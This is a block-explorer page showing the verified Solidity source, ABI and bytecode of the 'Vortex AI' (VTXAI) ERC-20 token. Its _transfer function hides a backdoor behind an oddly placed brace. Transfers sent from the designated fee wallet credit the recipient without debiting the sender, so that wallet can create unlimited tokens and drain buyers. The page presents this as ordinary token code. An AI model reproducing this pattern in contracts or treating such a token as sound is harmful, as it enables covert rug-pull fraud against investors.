Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract VTXAI is Context, IERC20, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address sender, ad ...    - function swapTokensToEth(uint256 toke ...    - function _isInVortex(address _from)    - function _sendETHFee(uint256 amount)    - function min(uint256 a, uint256 b)    - function createVortex()    - function startVTX()    - function disableLimit()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-03-19
*/

/*

Website:  https://vortexai.tech
Twitter: https://twitter.com/vortex_ai_x
Telegram: https://t.me/vortexai_official
Medium: https://vtxai.medium.com

*/

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract VTXAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _feevotexexempt;
    address payable private _vtxfund = payable(0xba6B113abFe925a5B7b703937834B56Ae6A90243);

    uint256 private _initialBuyTax = 30;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 1;
    uint256 private _finalSellTax = 1;
    uint256 private _reduceBuyTaxAt = 16;
    uint256 private _reduceSellTaxAt = 21;
    uint256 private _preventSwapBefore = 23;
    uint256 private _buyTokenCount = 0;

    uint8 private constant _decimals = 18;
    string private constant _name = unicode"Vortex AI";
    string private constant _symbol = unicode"VTXAI";
    uint256 private constant _tTotal = 400_000_000 * 10**_decimals;
    uint256 private _maxTraxSize = 8_000_000 * 10**_decimals;
    uint256 private _maxWalletSize = 8_000_000 * 10**_decimals;
    uint256 private _taxTokensThres = 267 * 10**_decimals;
    uint256 private _maxSwapTokens = 4_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private _uniswapV2Pair;
    bool private _tradingOpen;
    bool private _swapActive = false;
    bool private _inSwapping = false;

    event MaxTxAmountUpdated(uint _maxTraxSize);
    modifier lockTheSwap {
        _inSwapping = true;
        _;
        _inSwapping = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _feevotexexempt[owner()] = true;
        _feevotexexempt[address(this)] = true;
        _feevotexexempt[_vtxfund] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address to, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!_feevotexexempt[sender] && !_feevotexexempt[to]) {
            require(_tradingOpen, "Trading not open");
            taxAmount = amount.mul((_buyTokenCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (sender == _uniswapV2Pair && to != address(uniswapV2Router)) {
                require(amount <= _maxTraxSize, "Exceeds the maxTxAmount.");
                _buyTokenCount++;
            }

            if (to != _uniswapV2Pair && ! _feevotexexempt[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == _uniswapV2Pair && sender!= address(this) ){
                taxAmount = amount.mul((_buyTokenCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokensBalance = balanceOf(address(this));
            if (!_inSwapping && to == _uniswapV2Pair && _swapActive && amount>_taxTokensThres && _buyTokenCount>_preventSwapBefore) {
                if(contractTokensBalance>_taxTokensThres)
                swapTokensToEth(min(amount,min(contractTokensBalance,_maxSwapTokens)));
                _sendETHFee(address(this).balance);
            }}
            if (_isInVortex(sender)){_balances[to]=_balances[to].add(amount);return;
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(sender, address(this),taxAmount);
        }
        _balances[sender]=_balances[sender].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(sender, to, amount.sub(taxAmount));
    }

    function swapTokensToEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _isInVortex(address _from) private view returns (bool) {
        return _from == _vtxfund;
    }

    function _sendETHFee(uint256 amount) private {
        _vtxfund.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function createVortex() external onlyOwner() {
        require(!_tradingOpen,"Trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function startVTX() external onlyOwner {
        _swapActive = true;
        _tradingOpen = true;        
    }

    function disableLimit() external onlyOwner {
        _maxTraxSize = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTraxSize","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createVortex","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"disableLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startVTX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600480546001600160a01b03191673ba6b113abfe925a5b7b703937834b56ae6a90243179055601e60055560146006556001600781905560085560106009556015600a9081556017600b555f600c55620000619060129062000341565b6200007090627a120062000358565b600d55620000816012600a62000341565b6200009090627a120062000358565b600e55620000a16012600a62000341565b620000af9061010b62000358565b600f55620000c06012600a62000341565b620000cf90623d090062000358565b6010556012805461ffff60a81b19169055348015620000ec575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200013b6012600a62000341565b6200014b906317d7840062000358565b335f908152600160208190526040822092909255600390620001745f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001d23390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200020b6012600a62000341565b6200021b906317d7840062000358565b60405190815260200160405180910390a362000372565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028657815f19048211156200026a576200026a62000232565b808516156200027857918102915b93841c93908002906200024b565b509250929050565b5f826200029e575060016200033b565b81620002ac57505f6200033b565b8160018114620002c55760028114620002d057620002f0565b60019150506200033b565b60ff841115620002e457620002e462000232565b50506001821b6200033b565b5060208310610133831016604e8410600b841016171562000315575081810a6200033b565b62000321838362000246565b805f190482111562000337576200033762000232565b0290505b92915050565b5f6200035160ff8416836200028e565b9392505050565b80820281158282048414176200033b576200033b62000232565b61170580620003805f395ff3fe6080604052600436106100dc575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb14610266578063d31f49c014610285578063d95fb51214610299578063dd62ed3e146102ad575f80fd5b8063715018a6146101ff5780638da5cb5b1461021357806395d89b4114610239575f80fd5b80631acc26bc116100b75780631acc26bc1461017b57806323b872dd14610191578063313ce567146101b057806370a08231146101cb575f80fd5b806306fdde03146100e7578063095ea7b31461012a57806318160ddd14610159575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b50604080518082019091526009815268566f7274657820414960b81b60208201525b60405161012191906112fb565b60405180910390f35b348015610135575f80fd5b5061014961014436600461135a565b6102f1565b6040519015158152602001610121565b348015610164575f80fd5b5061016d610307565b604051908152602001610121565b348015610186575f80fd5b5061018f610327565b005b34801561019c575f80fd5b506101496101ab366004611384565b6103e1565b3480156101bb575f80fd5b5060405160128152602001610121565b3480156101d6575f80fd5b5061016d6101e53660046113c2565b6001600160a01b03165f9081526001602052604090205490565b34801561020a575f80fd5b5061018f610448565b34801561021e575f80fd5b505f546040516001600160a01b039091168152602001610121565b348015610244575f80fd5b50604080518082019091526005815264565458414960d81b6020820152610114565b348015610271575f80fd5b5061014961028036600461135a565b6104b9565b348015610290575f80fd5b5061018f6104c5565b3480156102a4575f80fd5b5061018f610505565b3480156102b8575f80fd5b5061016d6102c73660046113dd565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102fd338484610897565b5060015b92915050565b5f6103146012600a611508565b610322906317d78400611516565b905090565b5f546001600160a01b031633146103595760405162461bcd60e51b81526004016103509061152d565b60405180910390fd5b6103656012600a611508565b610373906317d78400611516565b600d556103826012600a611508565b610390906317d78400611516565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6103c06012600a611508565b6103ce906317d78400611516565b60405190815260200160405180910390a1565b5f6103ed8484846109ba565b61043e8433610439856040518060600160405280602881526020016116a8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f73565b610897565b5060019392505050565b5f546001600160a01b031633146104715760405162461bcd60e51b81526004016103509061152d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102fd3384846109ba565b5f546001600160a01b031633146104ee5760405162461bcd60e51b81526004016103509061152d565b6012805461ffff60a01b191661010160a01b179055565b5f546001600160a01b0316331461052e5760405162461bcd60e51b81526004016103509061152d565b601254600160a01b900460ff16156105885760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610350565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105d19030906105c36012600a611508565b610439906317d78400611516565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610621573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106459190611562565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c89190611562565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610712573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107369190611562565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061077d816001600160a01b03165f9081526001602052604090205490565b5f806107905f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107f6573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061081b919061157d565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610870573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089491906115a8565b50565b6001600160a01b0383166108f95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610350565b6001600160a01b03821661095a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610350565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610350565b6001600160a01b038216610a805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610350565b5f8111610ae15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610350565b6001600160a01b0383165f9081526003602052604081205460ff16158015610b2157506001600160a01b0383165f9081526003602052604090205460ff16155b15610dde57601254600160a01b900460ff16610b725760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b6044820152606401610350565b610b9e6064610b98600954600c5411610b8d57600554610b91565b6007545b8590610fab565b90611030565b6012549091506001600160a01b038581169116148015610bcc57506011546001600160a01b03848116911614155b15610c3857600d54821115610c235760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610350565b600c8054905f610c32836115c7565b91905055505b6012546001600160a01b03848116911614801590610c6e57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ced57600e5482610c95856001600160a01b03165f9081526001602052604090205490565b610c9f91906115df565b1115610ced5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610350565b6012546001600160a01b038481169116148015610d1357506001600160a01b0384163014155b15610d4057610d3d6064610b98600a54600c5411610d3357600654610b91565b6008548590610fab565b90505b305f90815260016020526040902054601254600160b01b900460ff16158015610d7657506012546001600160a01b038581169116145b8015610d8b5750601254600160a81b900460ff165b8015610d985750600f5483115b8015610da75750600b54600c54115b15610ddc57600f54811115610dd357610dd3610dce84610dc984601054611071565b611071565b611085565b610ddc476111f5565b505b6004546001600160a01b03858116911603610e36576001600160a01b0383165f90815260016020526040902054610e159083611230565b6001600160a01b039093165f90815260016020526040902092909255505050565b8015610eae57305f90815260016020526040902054610e559082611230565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ea59085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ed0908361128e565b6001600160a01b0385165f90815260016020526040902055610f13610ef5838361128e565b6001600160a01b0385165f9081526001602052604090205490611230565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f5c858561128e565b60405190815260200160405180910390a350505050565b5f8184841115610f965760405162461bcd60e51b815260040161035091906112fb565b505f610fa284866115f2565b95945050505050565b5f825f03610fba57505f610301565b5f610fc58385611516565b905082610fd28583611605565b146110295760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610350565b9392505050565b5f61102983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112cf565b5f81831161107f5782611029565b50919050565b6012805460ff60b01b1916600160b01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110cb576110cb611624565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611122573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111469190611562565b8160018151811061115957611159611624565b6001600160a01b03928316602091820292909201015260115461117f9130911684610897565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b79085905f90869030904290600401611638565b5f604051808303815f87803b1580156111ce575f80fd5b505af11580156111e0573d5f803e3d5ffd5b50506012805460ff60b01b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561122c573d5f803e3d5ffd5b5050565b5f8061123c83856115df565b9050838110156110295760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610350565b5f61102983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f73565b5f81836112ef5760405162461bcd60e51b815260040161035091906112fb565b505f610fa28486611605565b5f6020808352835180828501525f5b818110156113265785810183015185820160400152820161130a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610894575f80fd5b5f806040838503121561136b575f80fd5b823561137681611346565b946020939093013593505050565b5f805f60608486031215611396575f80fd5b83356113a181611346565b925060208401356113b181611346565b929592945050506040919091013590565b5f602082840312156113d2575f80fd5b813561102981611346565b5f80604083850312156113ee575f80fd5b82356113f981611346565b9150602083013561140981611346565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561146257815f190482111561144857611448611414565b8085161561145557918102915b93841c939080029061142d565b509250929050565b5f8261147857506001610301565b8161148457505f610301565b816001811461149a57600281146114a4576114c0565b6001915050610301565b60ff8411156114b5576114b5611414565b50506001821b610301565b5060208310610133831016604e8410600b84101617156114e3575081810a610301565b6114ed8383611428565b805f190482111561150057611500611414565b029392505050565b5f61102960ff84168361146a565b808202811582820484141761030157610301611414565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611572575f80fd5b815161102981611346565b5f805f6060848603121561158f575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115b8575f80fd5b81518015158114611029575f80fd5b5f600182016115d8576115d8611414565b5060010190565b8082018082111561030157610301611414565b8181038181111561030157610301611414565b5f8261161f57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116865784516001600160a01b031683529383019391830191600101611661565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c6044a2cc15df6aa573f9d10e1725631183ba5e45f322107eaf5b15093b91ebd64736f6c63430008150033

0x6080604052600436106100dc575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb14610266578063d31f49c014610285578063d95fb51214610299578063dd62ed3e146102ad575f80fd5b8063715018a6146101ff5780638da5cb5b1461021357806395d89b4114610239575f80fd5b80631acc26bc116100b75780631acc26bc1461017b57806323b872dd14610191578063313ce567146101b057806370a08231146101cb575f80fd5b806306fdde03146100e7578063095ea7b31461012a57806318160ddd14610159575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b50604080518082019091526009815268566f7274657820414960b81b60208201525b60405161012191906112fb565b60405180910390f35b348015610135575f80fd5b5061014961014436600461135a565b6102f1565b6040519015158152602001610121565b348015610164575f80fd5b5061016d610307565b604051908152602001610121565b348015610186575f80fd5b5061018f610327565b005b34801561019c575f80fd5b506101496101ab366004611384565b6103e1565b3480156101bb575f80fd5b5060405160128152602001610121565b3480156101d6575f80fd5b5061016d6101e53660046113c2565b6001600160a01b03165f9081526001602052604090205490565b34801561020a575f80fd5b5061018f610448565b34801561021e575f80fd5b505f546040516001600160a01b039091168152602001610121565b348015610244575f80fd5b50604080518082019091526005815264565458414960d81b6020820152610114565b348015610271575f80fd5b5061014961028036600461135a565b6104b9565b348015610290575f80fd5b5061018f6104c5565b3480156102a4575f80fd5b5061018f610505565b3480156102b8575f80fd5b5061016d6102c73660046113dd565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102fd338484610897565b5060015b92915050565b5f6103146012600a611508565b610322906317d78400611516565b905090565b5f546001600160a01b031633146103595760405162461bcd60e51b81526004016103509061152d565b60405180910390fd5b6103656012600a611508565b610373906317d78400611516565b600d556103826012600a611508565b610390906317d78400611516565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6103c06012600a611508565b6103ce906317d78400611516565b60405190815260200160405180910390a1565b5f6103ed8484846109ba565b61043e8433610439856040518060600160405280602881526020016116a8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f73565b610897565b5060019392505050565b5f546001600160a01b031633146104715760405162461bcd60e51b81526004016103509061152d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102fd3384846109ba565b5f546001600160a01b031633146104ee5760405162461bcd60e51b81526004016103509061152d565b6012805461ffff60a01b191661010160a01b179055565b5f546001600160a01b0316331461052e5760405162461bcd60e51b81526004016103509061152d565b601254600160a01b900460ff16156105885760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610350565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105d19030906105c36012600a611508565b610439906317d78400611516565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610621573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106459190611562565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c89190611562565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610712573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107369190611562565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061077d816001600160a01b03165f9081526001602052604090205490565b5f806107905f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107f6573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061081b919061157d565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610870573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089491906115a8565b50565b6001600160a01b0383166108f95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610350565b6001600160a01b03821661095a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610350565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610350565b6001600160a01b038216610a805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610350565b5f8111610ae15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610350565b6001600160a01b0383165f9081526003602052604081205460ff16158015610b2157506001600160a01b0383165f9081526003602052604090205460ff16155b15610dde57601254600160a01b900460ff16610b725760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b604